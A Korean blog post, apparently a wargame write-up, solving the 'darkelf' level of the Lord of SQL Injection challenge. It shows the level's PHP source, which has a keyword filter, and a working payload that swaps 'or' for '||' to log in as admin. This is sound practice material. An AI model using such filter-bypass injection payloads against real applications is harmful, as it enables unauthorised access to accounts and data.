티스토리 뷰

Web_Hacking/LOS

[LOS] darkelf

MitNy 2017. 8. 13. 15:12





<?php 

  include "./config.php"
  
login_chk(); 
  
dbconnect();  
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("darkelf"); 
  
highlight_file(__FILE__); 
?>



darkelf문제는 지금까지의 문제를 잘 풀어냈다면 한번에 풀 수 있다.

지금까지는 ?pw=1' or id='admin 이런식으로 풀었지만

이 문제에서는 or와 and가 필터링 되어있다.

그렇다면 or 와 and를 대신할 무언가가 있어야 한다.


or = ||

and = && 으로 대체해주자.




?pw=1%27||id=%27admin





클리어~

'Web_Hacking > LOS' 카테고리의 다른 글

[LOS] troll  (0) 2017.08.14
[LOS] orge  (0) 2017.08.13
[LOS] wolfman  (0) 2017.08.12
[LOS] orc  (0) 2017.08.12
[LOS] goblin  (0) 2017.08.10
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함